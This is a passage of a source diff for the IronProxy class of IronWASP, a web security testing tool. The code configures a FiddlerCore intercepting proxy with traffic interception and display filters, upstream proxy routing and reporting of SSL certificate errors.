Plugin) - //{ - // BodyFormatParamters BFP = new BodyFormatParamters(Request, Plugin); - // RequestFormatThread = new Thread(IronProxy.DeSerializeRequestBody); - // RequestFormatThread.Start(BFP); - //} - - //internal static void DeSerializeRequestBody(object BFPObject) - //{ - // string PluginName = ""; - // try - // { - // BodyFormatParamters BFP = (BodyFormatParamters)BFPObject; - // Request Request = BFP.Request; - // FormatPlugin Plugin = BFP.Plugin; - // PluginName = Plugin.Name; - - // string XML = Plugin.ToXmlFromRequest(Request); - // IronUI.FillProxyRequestFormatXML(XML); - // } - // catch (ThreadAbortException) - // { - // // - // } - // catch (Exception Exp) - // { - // IronException.Report("Error Deserializing 'Proxy' Request using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); - // IronUI.ShowProxyException("Error Deserializing"); - // } - //} - - //internal static void StartSerializingRequestBody(Request Request, FormatPlugin Plugin, string XML) - //{ - // BodyFormatParamters BFP = new BodyFormatParamters(Request, Plugin, XML); - // RequestFormatThread = new Thread(IronProxy.SerializeRequestBody); - // RequestFormatThread.Start(BFP); - //} - - //internal static void SerializeRequestBody(object BFPObject) - //{ - // string PluginName = ""; - // try - // { - // BodyFormatParamters BFP = (BodyFormatParamters)BFPObject; - // Request Request = BFP.Request; - // FormatPlugin Plugin = BFP.Plugin; - // PluginName = Plugin.Name; - // string XML = BFP.XML; - - // Request = Plugin.ToRequestFromXml(Request, XML); - // IronProxy.CurrentSession.Request = Request; - // IronProxy.UpdateFiddlerSessionWithNewRequest(); - // IronUI.FillProxyRequestWithNewRequestFromFormatXML(Request, PluginName); - // } - // catch (ThreadAbortException) - // { - // // - // } - // catch (Exception Exp) - // { - // IronException.Report("Error Serializing 'Proxy' Request using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); - // IronUI.ShowProxyException("Error Serializing"); - // } - //} - - //internal static void StartDeSerializingResponseBody(Response Response, FormatPlugin Plugin) - //{ - // BodyFormatParamters BFP = new BodyFormatParamters(Response, Plugin); - // ResponseFormatThread = new Thread(IronProxy.DeSerializeResponseBody); - // ResponseFormatThread.Start(BFP); - //} - - //internal static void DeSerializeResponseBody(object BFPObject) - //{ - // string PluginName = ""; - // try - // { - // BodyFormatParamters BFP = (BodyFormatParamters)BFPObject; - // Response Response = BFP.Response; - // FormatPlugin Plugin = BFP.Plugin; - // PluginName = Plugin.Name; - - // string XML = Plugin.ToXmlFromResponse(Response); - // IronUI.FillProxyResponseFormatXML(XML); - // } - // catch (ThreadAbortException) - // { - // // - // } - // catch (Exception Exp) - // { - // IronException.Report("Error Deserializing 'Proxy' Response using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); - // IronUI.ShowProxyException("Error Deserializing"); - // } - //} - - //internal static void StartSerializingResponseBody(Response Response, FormatPlugin Plugin, string XML) - //{ - // BodyFormatParamters BFP = new BodyFormatParamters(Response, Plugin, XML); - // ResponseFormatThread = new Thread(IronProxy.SerializeResponseBody); - // ResponseFormatThread.Start(BFP); - //} - - //internal static void SerializeResponseBody(object BFPObject) - //{ - // string PluginName = ""; - // try - // { - // BodyFormatParamters BFP = (BodyFormatParamters)BFPObject; - // Response Response = BFP.Response; - // FormatPlugin Plugin = BFP.Plugin; - // PluginName = Plugin.Name; - // string XML = BFP.XML; - // IronProxy.CurrentSession.Response = Response; - // Response = Plugin.ToResponseFromXml(Response, XML); - // IronProxy.UpdateFiddlerSessionWithNewResponse(); - // IronUI.FillProxyResponseWithNewResponseFromFormatXML(Response, PluginName); - // } - // catch (ThreadAbortException) - // { - // // - // } - // catch (Exception Exp) - // { - // IronException.Report("Error Serializing Proxy Response using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); - // IronUI.ShowProxyException("Error Serializing"); - // } - //} - //internal static void TerminateAllFormatThreads() - //{ - // TerminateRequestFormatThreads(); - // TerminateResponseFormatThreads(); - //} - //internal static void TerminateRequestFormatThreads() - //{ - // if (RequestFormatThread != null) - // { - // try { RequestFormatThread.Abort(); } - // catch { } - // finally { RequestFormatThread = null; } - // } - //} - //internal static void TerminateResponseFormatThreads() - //{ - // if (ResponseFormatThread != null) - // { - // try { ResponseFormatThread.Abort(); } - // catch { } - // finally { ResponseFormatThread = null; } - // } - //} - - internal static bool ValidProxyPort(string Port) - { - try - { - int IntPort = Int32.Parse(Port); - return ValidProxyPort(IntPort); - } - catch - { - return false; - } - } - - internal static bool ValidProxyPort(int Port) - { - - if (Port > 0 && Port < 65536) - { - return true; - } - else - { - return false; - } - } - - internal static bool ValidPort(string Port) - { - try - { - int IntPort = Int32.Parse(Port); - return ValidPort(IntPort); - } - catch - { - return false; - } - } - - internal static bool ValidPort(int Port) - { - - if (Port > 0 && Port < 65536) - { - return true; - } - else - { - return false; - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.IO; +using System.Xml; +using System.Collections; +using System.Collections.Specialized; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; +using System.Reflection; +using System.Net.Security; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; + +using Microsoft.Scripting; +using Microsoft.Scripting.Runtime; +using Microsoft.Scripting.Hosting; +using IronPython; +using IronPython.Hosting; +using IronPython.Modules; +using IronPython.Runtime; +using IronPython.Runtime.Exceptions; +using IronRuby; +using IronRuby.Hosting; +using IronRuby.Runtime; +using IronRuby.StandardLibrary; + +namespace IronWASP +{ + public class IronProxy + { + internal static Dictionary InterceptedSessions = new Dictionary(); + internal static bool ManualTamperingFree = true; + internal static Queue SessionsQ = new Queue(); + internal static Session CurrentSession; + //internal static Session StoredSession; + + internal static bool ProxyRunning = false; + + internal static int Port = 8080; + internal static bool LoopBackOnly = true; + internal static bool SystemProxy = false; + + internal static bool UseSystemProxyAsUpStreamProxy = false; + internal static bool UseUpstreamProxy = false; + internal static string UpstreamProxyIP = ""; + internal static int UpstreamProxyPort = 0; + + static bool EventHandlersAssigned = false; + + //Traffic Interception Rules + internal static bool InterceptRequest = false; + internal static bool InterceptResponse = false; + + internal static bool InterceptGET = true; + internal static bool InterceptPOST = true; + internal static bool InterceptOtherMethods = true; + + internal static bool InterceptHTML = true; + internal static bool InterceptJS = true; + internal static bool InterceptCSS = true; + internal static bool InterceptXML = true; + internal static bool InterceptJSON = true; + internal static bool InterceptOtherText = true; + internal static bool InterceptImg = true; + internal static bool InterceptOtherBinary = true; + + internal static bool Intercept200 = true; + internal static bool Intercept2xx = true; + internal static bool Intercept301_2 = true; + internal static bool Intercept3xx = true; + internal static bool Intercept403 = true; + internal static bool Intercept4xx = true; + internal static bool Intercept500 = true; + internal static bool Intercept5xx = true; + + internal static bool InterceptCheckFileExtensions = false; + internal static bool InterceptCheckFileExtensionsPlus = false; + internal static List InterceptFileExtensions = new List(); + internal static bool InterceptCheckFileExtensionsMinus = false; + internal static List DontInterceptFileExtensions = new List(); + + internal static bool InterceptCheckHostNames = false; + internal static bool InterceptCheckHostNamesPlus = false; + internal static List InterceptHostNames = new List(); + internal static bool InterceptCheckHostNamesMinus = false; + internal static List DontInterceptHostNames = new List(); + + internal static bool InterceptCheckRequestWithKeyword = false; + internal static bool InterceptCheckRequestWithKeywordPlus = false; + internal static string InterceptRequestWithKeyword = ""; + internal static bool InterceptCheckRequestWithKeywordMinus = false; + internal static string DontInterceptRequestWithKeyword = ""; + + internal static bool InterceptCheckResponseWithKeyword = false; + internal static bool InterceptCheckResponseWithKeywordPlus = false; + internal static string InterceptResponseWithKeyword = ""; + internal static bool InterceptCheckResponseWithKeywordMinus = false; + internal static string DontInterceptResponseWithKeyword = ""; + + internal static bool RequestRulesOnResponse = true; + + //Log Display Filter + internal static bool DisplayGET = true; + internal static bool DisplayPOST = true; + internal static bool DisplayOtherMethods = true; + + internal static bool DisplayHTML = true; + internal static bool DisplayJS = true; + internal static bool DisplayCSS = true; + internal static bool DisplayXML = true; + internal static bool DisplayJSON = true; + internal static bool DisplayOtherText = true; + internal static bool DisplayImg = false; + internal static bool DisplayOtherBinary = false; + + internal static bool Display200 = true; + internal static bool Display2xx = true; + internal static bool Display301_2 = true; + internal static bool Display3xx = true; + internal static bool Display403 = true; + internal static bool Display4xx = true; + internal static bool Display500 = true; + internal static bool Display5xx = true; + + internal static bool DisplayCheckFileExtensions = false; + internal static bool DisplayCheckFileExtensionsPlus = false; + internal static List DisplayFileExtensions = new List(); + internal static bool DisplayCheckFileExtensionsMinus = false; + internal static List DontDisplayFileExtensions = new List(); + + internal static bool DisplayCheckHostNames = false; + internal static bool DisplayCheckHostNamesPlus = false; + internal static List DisplayHostNames = new List(); + internal static bool DisplayCheckHostNamesMinus = false; + internal static List DontDisplayHostNames = new List(); + + //To check intercepted message editing + internal static bool RequestChanged = false; + internal static bool RequestHeaderChanged = false; + internal static bool RequestBodyChanged = false; + internal static bool RequestQueryParametersChanged = false; + internal static bool RequestBodyParametersChanged = false; + internal static bool RequestCookieParametersChanged = false; + internal static bool RequestHeaderParametersChanged = false; + internal static bool ResponseChanged = false; + internal static bool ResponseHeaderChanged = false; + internal static bool ResponseBodyChanged = false; + + internal static ScriptedInterceptor ScInt = new ScriptedInterceptor(); + internal static bool ScriptedInterceptionEnabled = false; + + static List ApiCallHostNames = new List(); + + internal static bool Start() + { + ProxyRunning = true; + + if (!EventHandlersAssigned) + { + Fiddler.FiddlerApplication.AfterSessionComplete += delegate(Fiddler.Session Sess) + { + IronProxy.AfterSessionComplete(Sess); + }; + + Fiddler.FiddlerApplication.BeforeRequest += delegate(Fiddler.Session Sess) + { + IronProxy.BeforeRequest(Sess); + }; + + Fiddler.FiddlerApplication.BeforeResponse += delegate(Fiddler.Session Sess) + { + IronProxy.BeforeResponse(Sess); + }; + + Fiddler.FiddlerApplication.OnWebSocketMessage += delegate(object sender, Fiddler.WebSocketMessageEventArgs e) + { + IronProxy.OnWebSocketMessage(sender, e); + }; + + Fiddler.FiddlerApplication.OnValidateServerCertificate += delegate(object sender, Fiddler.ValidateServerCertificateEventArgs e) + { + if(e.CertificatePolicyErrors != SslPolicyErrors.None) + { + string PluginName = "Internal SSL Checker"; + string Signature = string.Format("SSLCertificateChecker|{0}|{1}|{2}", new object[] { e.Session.host, e.Session.port.ToString(), e.CertificatePolicyErrors.ToString() }); + if (Finding.IsSignatureUnique(PluginName, e.Session.host, FindingType.Vulnerability, Signature)) + { + Finding PR = new Finding(e.Session.host); + PR.Plugin = PluginName; + PR.Severity = FindingSeverity.Medium; + PR.Confidence = FindingConfidence.High; + PR.Title = string.Format("SSL Certificate Error for {0}:{1} ", new object[] { e.Session.host, e.Session.port.ToString() }); + PR.Summary = string.Format("The remote server running Host: {0} and Port: {1} returned an invalid SSL certificate.> >Error:> {2}. > >Certificate Details:> {3}", new object[] { e.Session.host, e.Session.port.ToString(), e.CertificatePolicyErrors.ToString(), e.ServerCertificate.Subject }); + PR.Signature = Signature; + PR.Report(); + } + e.Session.oFlags.Add("IronFlag-SslError", "Yes"); + } + + //string SSLError = sslPolicyErrors.ToString(); + //if (!SSLError.Equals("None")) + //{ + // string PluginName = "Internal SSL Checker"; + // string Signature = string.Format("SSLCertificateChecker|{0}|{1}|{2}", new object[] { Sess.host, Sess.port.ToString(), sslPolicyErrors.ToString() }); + // if (Finding.IsSignatureUnique(PluginName, Sess.host, FindingType.Vulnerability, Signature)) + // { + // Finding PR = new Finding(Sess.host); + // PR.Plugin = PluginName; + // PR.Severity = FindingSeverity.Medium; + // PR.Confidence = FindingConfidence.High; + // PR.Title = string.Format("SSL Certificate Error for {0}:{1} ", new object[] { Sess.host, Sess.port.ToString() }); + // PR.Summary = string.Format("The remote server running Host: {0} and Port: {1} returned an invalid SSL certificate.> >Error:> {2}. > >Certificate Details:> {3}", new object[] { Sess.host, Sess.port.ToString(), sslPolicyErrors.ToString(), ServerCertificate.Subject }); + // PR.Signature = Signature; + // PR.Report(); + // } + // Sess.oFlags.Add("IronFlag-SslError", "Yes"); + // bTreatCertificateAsValid = false; + // return false; + //} + //else + //{ + // bTreatCertificateAsValid = true; + // return true; + //} + }; + + //Fiddler.FiddlerApplication.OnValidateServerCertificate.OverrideServerCertificateValidation += delegate(Fiddler.Session Sess, string sExpectedCN, X509Certificate ServerCertificate, X509Chain ServerCertificateChain, SslPolicyErrors sslPolicyErrors, out bool bTreatCertificateAsValid) + //{ + // string SSLError = sslPolicyErrors.ToString(); + // if (!SSLError.Equals("None")) + // { + // string PluginName = "Internal SSL Checker"; + // string Signature = string.Format("SSLCertificateChecker|{0}|{1}|{2}", new object[] { Sess.host, Sess.port.ToString(), sslPolicyErrors.ToString() }); + // if (Finding.IsSignatureUnique(PluginName, Sess.host, FindingType.Vulnerability, Signature)) + // { + // Finding PR = new Finding(Sess.host); + // PR.Plugin = PluginName; + // PR.Severity = FindingSeverity.Medium; + // PR.Confidence = FindingConfidence.High; + // PR.Title = string.Format("SSL Certificate Error for {0}:{1} ", new object[] { Sess.host, Sess.port.ToString() }); + // PR.Summary = string.Format("The remote server running Host: {0} and Port: {1} returned an invalid SSL certificate.> >Error:> {2}. > >Certificate Details:> {3}", new object[] { Sess.host, Sess.port.ToString(), sslPolicyErrors.ToString(), ServerCertificate.Subject }); + // PR.Signature = Signature; + // PR.Report(); + // } + // Sess.oFlags.Add("IronFlag-SslError", "Yes"); + // bTreatCertificateAsValid = false; + // return false; + // } + // else + // { + // bTreatCertificateAsValid = true; + // return true; + // } + //}; + + Fiddler.FiddlerApplication.OnNotification += delegate(object Sender, Fiddler.NotificationEventArgs Args) + { + if (Args.NotifyString.Contains("Unable to bind to port")) + { + IronProxy.Stop(); + //IronException.Report("FiddlerCore Notification", Args.NotifyString, ""); + //IronUI.ShowProxyStoppedError("Proxy Not Started! All features depend on the proxy, start proxy to activate them."); + } + }; + + EventHandlersAssigned = true; + } + + Fiddler.CONFIG.IgnoreServerCertErrors = true; + //Fiddler.CONFIG.bReuseServerSockets = false; + IronUI.UpdateProxyStatusInConfigPanel(true); + + if (IronProxy.UseSystemProxyAsUpStreamProxy) + { + if (IronProxy.SystemProxy) + { + if (IronProxy.LoopBackOnly) + { + Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~Fiddler.FiddlerCoreStartupFlags.AllowRemoteClients); + } + else + { + Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default); + } + } + else + { + if (IronProxy.LoopBackOnly) + { + Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~Fiddler.FiddlerCoreStartupFlags.AllowRemoteClients & ~Fiddler.FiddlerCoreStartupFlags.RegisterAsSystemProxy); + } + else + { + Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~Fiddler.FiddlerCoreStartupFlags.RegisterAsSystemProxy); + } + } + } + else + { + if (IronProxy.SystemProxy) + { + if (IronProxy.LoopBackOnly) + { + Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~Fiddler.FiddlerCoreStartupFlags.AllowRemoteClients & ~Fiddler.FiddlerCoreStartupFlags.ChainToUpstreamGateway); + } + else + { + Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~Fiddler.FiddlerCoreStartupFlags.ChainToUpstreamGateway); + } + } + else + { + if (IronProxy.LoopBackOnly) + { + Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~Fiddler.FiddlerCoreStartupFlags.AllowRemoteClients & ~Fiddler.FiddlerCoreStartupFlags.ChainToUpstreamGateway & ~Fiddler.FiddlerCoreStartupFlags.RegisterAsSystemProxy); + } + else + { + Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~Fiddler.FiddlerCoreStartupFlags.ChainToUpstreamGateway & ~Fiddler.FiddlerCoreStartupFlags.RegisterAsSystemProxy); + } + + /* + //This is a hack to work around a bug in FiddlerCore v2.4.4.8. + //If both the RegisterAsSystemProxy and ChainToUpstreamGateway flags are removed the proxy doesn't start. + //So we start with the RegisterAsSystemProxy flad set and then call the detach method to remove it + if (Fiddler.FiddlerApplication.IsStarted()) + { + Fiddler.FiddlerApplication.oProxy.Detach(); + } + */ + } + } + + //if (IronProxy.LoopBackOnly) + //{ + // Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~ Fiddler.FiddlerCoreStartupFlags.AllowRemoteClients & ~Fiddler.FiddlerCoreStartupFlags.RegisterAsSystemProxy); + // //Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default); + //} + //else + //{ + // Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~Fiddler.FiddlerCoreStartupFlags.RegisterAsSystemProxy & ~Fiddler.FiddlerCoreStartupFlags.ChainToUpstreamGateway); + //} + + try + { + return Fiddler.FiddlerApplication.IsStarted(); + } + catch + { + return false; + } + } + + internal static void Stop() + { + ProxyRunning = false; + try + { + Fiddler.FiddlerApplication.Shutdown(); + } + catch { } + IronUI.UpdateProxyStatusInConfigPanel(false); + } + + internal static void AfterSessionComplete(Fiddler.Session Sess) + { + if (Sess.HTTPMethodIs("Connect")) return; + if (Sess.isFlagSet(Fiddler.SessionFlags.RequestGeneratedByFiddler)) + { + Session IrSe; + try + { + IrSe = new Session(Sess); + } + catch(Exception Exp) + { + IronException.Report("Error handling Response", Exp.Message, Exp.StackTrace); + return; + } + if (IrSe == null) + { + IronException.Report("Error handling Response", "", ""); + return; + } + if (IrSe.FiddlerSession == null) + { + IronException.Report("Error handling Response", "", ""); + return; + } + if (IrSe.Response == null) + { + IronException.Report("Error handling Response", "", ""); + return; + } + + if (Sess.oFlags["IronFlag-BuiltBy"] == "ManualTestingSection") + { + try + { + ManualTesting.HandleResponse(IrSe); + } + catch(Exception Exp) + { + IronException.Report("Error handling 'Manual Testing' Response", Exp.Message, Exp.StackTrace); + } + } + else if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Shell") || Sess.oFlags["IronFlag-BuiltBy"].Equals("Scan") || Sess.oFlags["IronFlag-BuiltBy"].Equals("Probe") || Sess.oFlags["IronFlag-BuiltBy"].Equals("Stealth") || Config.IsSourcePresent(Sess.oFlags["IronFlag-BuiltBy"])) + { + try + { + string DictID = ""; + if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Shell")) + { + try + { + IronUpdater.AddShellResponse(IrSe.Response); + DictID = Sess.oFlags["IronFlag-ID"] + "-Shell"; + } + catch (Exception Exp) + { + IronException.Report("Error handling 'Scripting Shell' Response", Exp.Message, Exp.StackTrace); + } + } + else if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Probe")) + { + try + { + IronUpdater.AddProbeResponse(IrSe.Response); + DictID = Sess.oFlags["IronFlag-ID"] + "-Probe"; + } + catch (Exception Exp) + { + IronException.Report("Error handling 'Probe' Response", Exp.Message, Exp.StackTrace); + } + } + else if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Stealth")) + { + try + { + DictID = Sess.oFlags["IronFlag-ID"] + "-Stealth"; + } + catch (Exception Exp) + { + IronException.Report("Error handling 'Stealth' Response", Exp.Message, Exp.StackTrace); + } + } + else if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Scan")) + { + try + { + IronUpdater.AddScanResponse(IrSe.Response); + DictID = Sess.oFlags["IronFlag-ID"] + "-Scan"; + } + catch (Exception Exp) + { + IronException.Report("Error handling 'Automated Scanning' Response", Exp.Message, Exp.StackTrace); + } + } + else + { + try + { + IronUpdater.AddOtherSourceResponse(IrSe.Response); + DictID = string.Format("{0}-{1}", Sess.oFlags["IronFlag-ID"], Sess.oFlags["IronFlag-BuiltBy"]); + } + catch (Exception Exp) + { + IronException.Report(string.Format("Error handling '{0}' Response", Sess.oFlags["IronFlag-BuiltBy"]), Exp.Message, Exp.StackTrace); + } + } + //Config.APIResponseDict[DictID].SetResponse(IrSe.Response); + //Config.APIResponseDict[DictID].MSR.Set(); + } + catch (Exception MainExp) + { + IronException.Report("Error handling 'Scripting Shell/Automated Scanning/Probe' Response", MainExp.Message, MainExp.StackTrace); + } + } + } + } + + internal static void BeforeRequest(Fiddler.Session Sess) + { + if (Sess.HTTPMethodIs("Connect")) + { + if (IronProxy.UseUpstreamProxy) + { + string UpstreamProxyString = string.Format("{0}:{1}", IronProxy.UpstreamProxyIP, IronProxy.UpstreamProxyPort.ToString()); + Sess.oFlags.Add("x-overrideGateway", UpstreamProxyString); + } + if (Config.HasFiddlerFlags) + { + string[,] Flags = Config.GetFiddlerFlags(); + for (int i = 0; i < Flags.GetLength(0); i++) + { + Sess.oFlags.Add(Flags[i, 0], Flags[i, 1]); + } + } + return; + } + if (IsCallToIronwaspApi(Sess)) + { + ApiCallHandler.Handle(Sess); + return; + } + if(Sess.oFlags.ContainsKey("IronFlag-BuiltBy")) + { + if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Stealth")) + { + if (IronProxy.UseUpstreamProxy) + { + string UpstreamProxyString = string.Format("{0}:{1}", IronProxy.UpstreamProxyIP, IronProxy.UpstreamProxyPort.ToString()); + Sess.oFlags.Add("x-overrideGateway", UpstreamProxyString); + } + if (Config.HasFiddlerFlags) + { + string[,] Flags = Config.GetFiddlerFlags(); + for (int i = 0; i < Flags.GetLength(0); i++) + { + Sess.oFlags.Add(Flags[i, 0], Flags[i, 1]); + } + } + return; + } + } + Session IrSe; + try + { + IrSe = new Session(Sess); + } + catch(Exception Exp) + { + IronException.Report("Error reading Request", Exp.Message, Exp.StackTrace); + return; + } + if (IrSe == null) + { + IronException.Report("Error reading Request", "", ""); + return; + } + if (IrSe.Request == null) + { + IronException.Report("Error reading Request", "", ""); + return; + } + if (IrSe.FiddlerSession == null) + { + IronException.Report("Error reading Request", "", ""); + return; + } + + //Needs to be turned on to read the response body + IrSe.FiddlerSession.bBufferResponse = true; + + IrSe.Request.TimeObject = DateTime.Now; + if (Sess.oFlags.ContainsKey("IronFlag-Ticks")) + { + IrSe.FiddlerSession.oFlags["IronFlag-Ticks"] = IrSe.Request.TimeObject.Ticks.ToString(); + } + else + { + IrSe.FiddlerSession.oFlags.Add("IronFlag-Ticks", IrSe.Request.TimeObject.Ticks.ToString()); + } + + //try + //{ + // Session ClonedIronSessionWithRequest = IrSe.GetClone(); + // if (ClonedIronSessionWithRequest != null && ClonedIronSessionWithRequest.Request != null) + // PassiveChecker.AddToCheckRequest(ClonedIronSessionWithRequest); + // else + // IronException.Report("IronSession Request Couldn't be cloned at ID - " + IrSe.ID.ToString(),"",""); + //} + //catch(Exception Exp) + //{ + // IronException.Report("Error Cloning IronSession in BeforeRequest", Exp.Message, Exp.StackTrace); + //} + + if (PluginEngine.ShouldRunRequestBasedPassivePlugins()) + { + try + { + PluginEngine.RunAllRequestBasedInlinePassivePlugins(IrSe); + IrSe.UpdateFiddlerSessionFromIronSession(); + } + catch (Exception Exp) + { + IronException.Report("Error running 'Inline' Passive plugins on Request", Exp.Message, Exp.StackTrace); + } + } + + + if (!IrSe.FiddlerSession.isFlagSet(Fiddler.SessionFlags.RequestGeneratedByFiddler)) + { + IrSe.ID = Interlocked.Increment(ref Config.ProxyRequestsCount); + JavaScriptTracer.ProcessSession(IrSe); + IrSe.OriginalRequest = IrSe.Request.GetClone(true); + + //If passive crawler is running then send this request for analysis + PassiveCrawler.CapturedCrawlRequest(IrSe); + + //If recording is running then send this request for analysis to recorder + Recording.Recorder.AddParameterValues(IrSe); + + //If workflow is being recorded then this is sent for analysis + Workflow.WorkflowScanner.CheckWorkflowRequest(IrSe); + + //IronUpdater.AddProxyRequest(IrSe.Request); + if(CanInterceptRequest(IrSe)) + { + IrSe.MSR = new ManualResetEvent(false); + InterceptedSessions.Add(IrSe.ID + "-Request", IrSe); + IrSe.FiddlerSession.state = Fiddler.SessionStates.HandTamperRequest; + IronUI.SendSessionToProxy(IrSe); + InterceptedSessions[IrSe.ID + "-Request"].MSR.WaitOne(); + InterceptedSessions.Remove(IrSe.ID + "-Request"); + + IrSe.UpdateFiddlerSessionFromIronSession(); + } + else if (ScriptedInterceptionEnabled) + { + IrSe.UpdateFiddlerSessionFromIronSession(); + } + else + { + IrSe.FiddlerSession.state = Fiddler.SessionStates.AutoTamperRequestBefore; + } + + if (ScriptedInterceptionEnabled && ScInt.CallAfterInterception) + { + try + { + ScInt.AfterInterception = true; + ScInt.ShouldIntercept(IrSe); + } + catch (Exception Exp) + { + IronUI.ShowProxyException("Error in Scripted Interception Script"); + IronException.Report("Error in Scripted Interception Script", Exp); + } + ScInt.AfterInterception = false; + IrSe.UpdateFiddlerSessionFromIronSession(); + } + + if (IronProxy.WasRequestChanged(IrSe)) + { + Request ClonedRequest = IrSe.Request.GetClone(true); + //IronUpdater.AddProxyRequestsAfterEdit(IrSe.OriginalRequest.GetClone(true), ClonedRequest); + //IronUI.UpdateEditedProxyLogRequestEntry(ClonedRequest); + IronUpdater.AddProxyRequests(new Request[] { IrSe.OriginalRequest, IrSe.Request }); + } + else + { + IronUpdater.AddProxyRequests(new Request[] { null, IrSe.Request }); + } + } + else + { + if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Shell")) + { + IronUpdater.AddShellRequest(IrSe.Request); + } + else if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Scan")) + { + IronUpdater.AddScanRequest(IrSe.Request); + } + else if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Probe")) + { + IronUpdater.AddProbeRequest(IrSe.Request); + } + else if (Config.IsSourcePresent(Sess.oFlags["IronFlag-BuiltBy"])) + { + IronUpdater.AddOtherSourceRequest(IrSe.Request); + } + } + + + //try + //{ + // PluginStore.RunAllPassivePluginsAfterRequestInterception(IrSe); + //} + //catch (Exception Exp) + //{ + // IronException.Report("Error running 'AfterInterception' Passive plugins on Request", Exp.Message, Exp.StackTrace); + //} + + if (IronProxy.UseUpstreamProxy) + { + string UpstreamProxyString = string.Format("{0}:{1}", IronProxy.UpstreamProxyIP, IronProxy.UpstreamProxyPort.ToString()); + if (IrSe.Request.Host.StartsWith("127.0.0.1:") || IrSe.Request.Host.StartsWith("localhost:") || IrSe.Request.Host.Equals("127.0.0.1") || IrSe.Request.Host.Equals("localhost")) + { + if (IronProxy.UpstreamProxyIP.Equals("127.0.0.1") || IronProxy.UpstreamProxyIP.Equals("localhost")) + { + IrSe.FiddlerSession.oFlags.Add("x-overrideGateway", UpstreamProxyString); + } + else + { + IrSe.FiddlerSession.oFlags.Add("x-overrideGateway", "DIRECT"); + } + } + else + { + IrSe.FiddlerSession.oFlags.Add("x-overrideGateway", UpstreamProxyString); + } + } + else if (IronProxy.UseSystemProxyAsUpStreamProxy) + { + if (IrSe.Request.Host.StartsWith("127.0.0.1:") || IrSe.Request.Host.StartsWith("localhost:") || IrSe.Request.Host.Equals("127.0.0.1") || IrSe.Request.Host.Equals("localhost")) + { + IrSe.FiddlerSession.oFlags.Add("x-overrideGateway", "DIRECT"); + } + } + else + { + IrSe.FiddlerSession.oFlags.Add("x-overrideGateway", "DIRECT"); + } + + if (Config.HasFiddlerFlags) + { + string[,] Flags = Config.GetFiddlerFlags(); + for (int i = 0; i < Flags.GetLength(0); i++) + { + IrSe.FiddlerSession.oFlags.Add(Flags[i, 0], Flags[i, 1]); + } + } + } + + internal static void BeforeResponse(Fiddler.Session Sess) + { + if (Sess.HTTPMethodIs("Connect")) return; + if (Sess.oFlags.ContainsKey("IronFlag-BuiltBy")) + { + if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Stealth")) return; + } + Session IrSe; + try + { + Sess.utilDecodeResponse(); + IrSe = new Session(Sess); + } + catch(Exception Exp) + { + IronException.Report("Error reading Response", Exp.Message, Exp.StackTrace); + return; + } + if (IrSe == null) + { + IronException.Report("Error reading Response", "", ""); + return; + } + if (IrSe.Response == null) + { + IronException.Report("Error reading Response", "", ""); + return; + } + if (IrSe.FiddlerSession == null) + { + IronException.Report("Error reading Response", "", ""); + return; + } + long TTL = DateTime.Now.Ticks - IrSe.Request.TimeObject.Ticks; + IrSe.Response.TTL = (int)(TTL / 10000); + if (Sess.oFlags.ContainsKey("IronFlag-TTL")) + { + IrSe.FiddlerSession.oFlags["IronFlag-TTL"] = IrSe.Response.TTL.ToString(); + } + else + { + IrSe.FiddlerSession.oFlags.Add("IronFlag-TTL", IrSe.Response.TTL.ToString()); + } + try + { + Session ClonedIronSessionWithResponse = IrSe.GetClone(); + if (ClonedIronSessionWithResponse != null && ClonedIronSessionWithResponse.Response != null) + { + PassiveChecker.AddToCheckResponse(ClonedIronSessionWithResponse); + } + else + { + IronException.Report("IronSession with Response Couldn't be cloned at ID - " + IrSe.ID.ToString(), "", ""); + } + } + catch (Exception Exp) + { + IronException.Report("Error Cloning IronSession in BeforeRequest", Exp.Message, Exp.StackTrace); + } + + + if (!IrSe.FiddlerSession.isFlagSet(Fiddler.SessionFlags.RequestGeneratedByFiddler)) + { + //IronUpdater.AddProxyResponse(IrSe.Response); + } + + if (!IrSe.FiddlerSession.isFlagSet(Fiddler.SessionFlags.RequestGeneratedByFiddler)) 